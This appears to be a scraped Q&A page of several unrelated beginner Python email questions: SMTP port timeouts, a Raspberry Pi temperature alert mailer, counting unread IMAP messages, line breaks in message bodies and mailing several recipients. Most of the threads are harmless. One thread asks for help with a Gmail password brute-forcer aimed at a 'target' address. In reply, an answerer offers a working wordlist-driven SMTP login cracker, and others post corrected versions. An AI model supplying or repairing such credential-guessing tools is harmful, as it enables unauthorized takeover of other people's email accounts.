I have created this piece of code as a test run to send an email over python:
import smtplib
import random
import math
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
ADMIN_EMAIL = email
ADMIN_PASS = password
def generate_ver_code():
digs = "0123456789"
code = ""
for i in range(0, 6):
code += digs[math.floor(random.random() * 10)]
return code
def signup(forename, surname, email, occupation, dob, pass1, pass2, pass_match):
ran_num = str(random.randint(0, 9999))
if len(ran_num) >= 4:
if len(ran_num) == 1:
ran_num = "000" + str(ran_num)
elif len(ran_num) == 2:
ran_num = "00" + str(ran_num)
elif len(ran_num) == 3:
ran_num = "0" + str(ran_num)
elif len(ran_num) == 4:
ver_code = str(ran_num)
username = ran_num + forename[:3] + surname[:3] + dob[:2]
if pass1 == pass2:
passw = pass1
pass_match = True
else:
pass_match = False
s = smtplib.SMTP('smtp.gmail.com', 5354)
#home port = 5354
#school port =
s.starttls()
s.login(ADMIN_EMAIL, ADMIN_PASS)
msg = MIMEMultipart()
message = message_template.substitute(PERSON_NAME=forename)
msg['From']=ADMIN_EMAIL
msg['To']=email
msg['Subject']="Verify account: FAKtory Reset"
msg.attach(MIMEText(message, '\nBefore you can continue to use your account please verify yur account and check if the credentials are correct:\nUsername: '+ username + '\nName: ' + forename + ' ' + surname + '\nOccupation: ' + occupation + '\nDoB: ' + dob + '\nPassword: ' + pass1 + '\nVerification Code: ' + ver_code + '\nIf any of the credentials are wrong please enter them again on our app.\nThank you,\nRegards,\nFaizan Ali Khan\nAdmin'))
s.send_message(msg)
del msg
pass_match = False
forename = str(input("Enter your forename: "))
surname = str(input("Enter your surname: "))
email = str(input("Enter your email: "))
occupation = str(input("Enter your occupation: "))
dob = str(input("Enter your date of birth (DD/MM/YYYY): "))
pass1 = str(input("Enter your password: "))
pass2 = str(input("Enter your password again: "))
print(signup(forename, surname, email, occupation, dob, pass1, pass2, pass_match))
Now whenever I run the code it goes fine for the inputs but when it comes to sending the email I get this error:
TimeoutError: [WinError 10060] A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond
How would you fix this error? I tried changing the port but still it doesn't work.
s = smtplib.SMTP('smtp.gmail.com', 5354)
The issue is this code snippet. According to the official Gmail IMAP Guide the outgoing port is either 465 or 587:
The outgoing SMTP server, smtp.gmail.com, requires TLS. Use port 465, or port 587 if your client begins with plain text before issuing the STARTTLS command.
Related
I'm trying to send and email based on High temperature or humidity but i cant figure out how to add this. Its my first time using DHT22 with Raspberry Pi so not sure how to structure my code.
I've tried a variety of codes others have suggested but they either no longer work on Python 3 (originally Python 2 - depreciated), or the code I've written just doesn't do anything except monitor and log with no email on high temp.
My original coding so far is this:
import os
import time
from time import sleep
from datetime import datetime
import Adafruit_DHT
file = open("/home/pi/TempHumLog.csv", "a")
if os.stat("/home/pi/TempHumLog.csv").st_size == 0:
file.write("Date,Time,Temperature,Humidity\n")
while True:
DHT_SENSOR = Adafruit_DHT.DHT22
DHT_PIN = 4
temperature, humidity = Adafruit_DHT.read_retry(DHT_SENSOR, DHT_PIN)
file.write("{0},{1},{3:0.2f}*C,{2:0.2f}%rh\n".format(time.strftime("%d/%m/%y"), time.strftime("%H:%M:%S"), temperature, humidity))
file.flush()
print("{0},{1},{3:0.2f}*C,{2:0.2f}%rh\n".format(time.strftime("%d/%m/%y"), time.strftime("%H:%M:%S"), temperature, humidity))
time.sleep(5)
import smtplib
#Email Variables
SMTP_SERVER = 'smtp.gmail.com' #Email Server (don't change!)
SMTP_PORT = 587 #Server Port (don't change!)
GMAIL_USERNAME = 'example#gmail.com' #change this to match your gmail account
GMAIL_PASSWORD = 'example pw' #change this to match your gmail password
class Emailer:
def sendmail(self, recipient, subject, content):
#Create Headers
headers = ["From: " + GMAIL_USERNAME, "Subject: " + subject, "To: " + recipient,
"MIME-Version: 1.0", "Content-Type: text/html"]
headers = "\r\n".join(headers)
#Connect to Gmail Server
session = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
session.ehlo()
session.starttls()
session.ehlo()
#Login to Gmail
session.login(GMAIL_USERNAME, GMAIL_PASSWORD)
#Send Email & Exit
session.sendmail(GMAIL_USERNAME, recipient, headers + "\r\n\r\n" + content)
session.quit
sender = Emailer()
while True:
if temperature > 24:
sendTo = 'example#gmail.com'
emailSubject = "High Temp!"
emailContent = "<br>A High Temp has Activated At: " + time.ctime() + "<br><br>Check The Room Temperature Levels"
sender.sendmail(sendTo, emailSubject, emailContent)
print("Email Sent")
elif temperature < 23:
sendTo = 'example#gmail.com'
emailSubject = "Room Temp Healthy"
emailContent = "High Room Temp Alarm Has Cleared At: " + time.ctime()
sender.sendmail(sendTo, emailSubject, emailContent)
print("Email Sent")
time.sleep(5)
At this time, no errors come through the terminal but it doesn't send any email. I've tried adding something like this:
instance = dht22.DHT22(pin=4)
while True:
result = instance.read()
tempHI = 26
tempLOW = 19
if (result.temperature) > tempHI:
**Send Email Script**
But no luck!
Any ideas how i can get the high temperature to trigger the email?
i am very new to programming, i am supposed to count the number of unread eamails in my inbos usiong python. i am getting a name error saying that "mail" is not defined. i am not sure about the logic either. Here is the code:
import imaplib
<!-- begin snippet: js hide: false console: true babel: false -->
import datetime
import email
import getpass
def readmail():
mail = imaplib.IMAP4_SSL('imap.gmail.com', 993)
mypassword = getpass.getpass("Password: ")
address = '#mail.com'
mail.login(address, mypassword)
now = datetime.date.today()
mail.select("inbox")
print("Checking for new e-mails for ", address, ".")
typ, messageIDs = mail.search(now, "UNSEEN")
messageIDsString = str(messageIDs[0], encoding='utf8')
listOfSplitStrings = messageIDsString.split(" ")
print (len(listOfSplitStrings))
Fix code indentation
import imaplib
import datetime
import email
import getpass
def readmail():
mail = imaplib.IMAP4_SSL('imap.gmail.com', 993)
mypassword = getpass.getpass("Password: ")
address = '#mail.com'
mail.login(address, mypassword)
now = datetime.date.today()
mail.select("inbox")
print("Checking for new e-mails for ", address, ".")
typ, messageIDs = mail.search(now, "UNSEEN")
messageIDsString = str(messageIDs[0], encoding='utf8')
listOfSplitStrings = messageIDsString.split(" ")
print (len(listOfSplitStrings))
if __name__=="__main__":
readmail()
I am trying to make a script that sends a email. But how to do line breaks? I tried the following:
Change msg = MIMEText(msginp) to msg=MIMEText(msginp,_subtype='plain',_charset='windows-1255')
NOTE: msginp is a input (msginp = input('Body? '))
Does anybody know how to make line breaks? Like the enter key on your keyboard?
My code is:
import smtplib
from email.mime.text import MIMEText
import getpass
smtpserverinp = input('What SMTP server are you using? (Look here for more information. https://sites.google.com/view/smtpserver) ')
usern = input('What is your email adderess? ')
p = getpass.getpass(prompt='What is your password? (You will not see that you are typing because it is a password) ')
subjectss = input('Subject? ')
msginp = input('Body? ')
toaddr = input('To who do you want to send it to? ')
msg = MIMEText(msginp)
msg['Subject'] = subjectss
msg['From'] = usern
msg['To'] = toaddr
s = smtplib.SMTP(smtpserverinp, 587)
s.starttls()
s.login(usern, p)
s.sendmail(usern, toaddr, msg.as_string())
s.quit()
Thanks!
I can't add a comment to see if this was totally what you want but i'll give it ago.
Your msginp = input('Body? ') ends once you press the enter key, for a new line you'd need to enter \n. Rather than typing \n each time you can make a loop.
Once all the data has been collected you can use the MIMEText as you would before.
Replace your msginp and MIMEText with this (total is the msginp)
total = ""
temp = input("Data: ")
total = temp+"\n"
while(temp!=""):
temp = input("next line: ")
total = total+temp+"\n"
msg = MIMEText(total)
Exit when you enter empty line
print("Body? ", end="")
lines = []
while True:
line = input("")
if not len(line):
break
lines.append(line)
print("\n".join(lines))
I am trying to figure out why isn't my code working. I am trying to improve my python skill by adding some code to another, but when I tried to execute it keeps giving me a syntax error.
import itertools
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = raw_input("Enter Target's Gmail Address: ")
def print_perms(chars, minlen, maxlen):
for n in range(minlen, maxlen+1):
for perm in itertools.product(chars, repeat=n):
print(''.join(perm))
print_perms("abcdefghijklmnopqrstuvwxyz1234567890", 2, 4)
for symbols in print_perms:
try:
smtpserver.login(user, password)
print "[+] Password Cracked: %s" % symbols
break;
except smtplib.SMTPAuthenticationError:
print "[!] Password Inccorect: %s" % symbols
the output is
File "main.py", line 22
except smtplib.SMTPAuthenticationError:
^
SyntaxError: invalid syntax
I just don't understand, may somebody discover and patch up the problem
Indentation!
except should be at the same indent level as try.
try this script :
import sys
import smtplib
def main():
host = 'smtp.gmail.com'
port = 587
user = raw_input('[+] Enter The Email To Crack : ')
password = raw_input('[+] Enter The Password List : ')
passs = open(password, 'r').readlines()
for passw in passs:
password = passw.rstrip()
smtp(host, port, user, password)
def smtp(host, port, user, password):
try:
server = smtplib.SMTP(host, port)
server.ehlo()
server.starttls()
server.login(user, password)
print "[+] Password Found Succesfully : " + password
sys.exit(1)
except smtplib.SMTPAuthenticationError:
print "[-] Password Incorrect : " + password
pass
You didn't intended the except according the rule. This is after fixing that. For more about try...except use see here.
import itertools
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = raw_input("Enter Target's Gmail Address: ")
def print_perms(chars, minlen, maxlen):
for n in range(minlen, maxlen+1):
for perm in itertools.product(chars, repeat=n):
print(''.join(perm))
print_perms("abcdefghijklmnopqrstuvwxyz1234567890", 2, 4)
for symbols in print_perms:
try:
smtpserver.login(user, password)
print "[+] Password Cracked: %s" % symbols
break;
except smtplib.SMTPAuthenticationError:
print "[!] Password Inccorect: %s" % symbols
This worked for me:
import itertools
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = input("Enter Target's Gmail Address: ")
def print_perms(chars, minlen, maxlen):
for n in range(minlen, maxlen+1):
for perm in itertools.product(chars, repeat=n):
print(''.join(perm))
print_perms("abcdefghijklmnopqrstuvwxyz1234567890", 2, 4)
for symbols in print_perms:
try:
smtpserver.login(user, password)
print ("[+] Password Cracked: %s") % symbols
break;
except smtplib.SMTPAuthenticationError:
print ("[!] Password Inccorect: %s") % symbols
I am trying to develop a small python application that allows it's user to send multiple mails through python, I am using gmail, I have allowed Access for less secure apps, it doesn't send.
I have searched stackoverflow for similar problems, but it seemed that most of the used codes are completely different in implementation, even after trying many of hem, they all through exception
import smtplib
from telnetlib import Telnet
def addSenders(message):
num = input("enter number of recievers : ")
num = int (num)
i = 0
emailList = []
while i < num :
nameStr = input("enter name")
mailStr = input("enter e-mail")
emailList.append(mailStr)
if i == 0:
message += nameStr + " <" + mailStr + ">"
print(message)
else:
message += "," + nameStr + " <" + mailStr + ">"
i = i + 1
return emailList, message
sender = 'xxxx#gmail.com'
password = "xxxx"
message = """From: xxxx xxxx <xxxxx#gmail.com>
To: To """
to, message = addSenders(message)
message += """
MIME-Version: 1.0
Content-type: text/html
Subject: Any Subject!
<h1> Good Morning :D <h1>
"""
server = smtplib.SMTP('smtp.gmail.com',587)
server.ehlo()
server.starttls()
server.login(sender, password)
try:
server.sendmail(sender, [to], message)
print ("Successfully sent email")
except:
print ("Error: unable to send email")
server.quit()
output : Error: unable to send email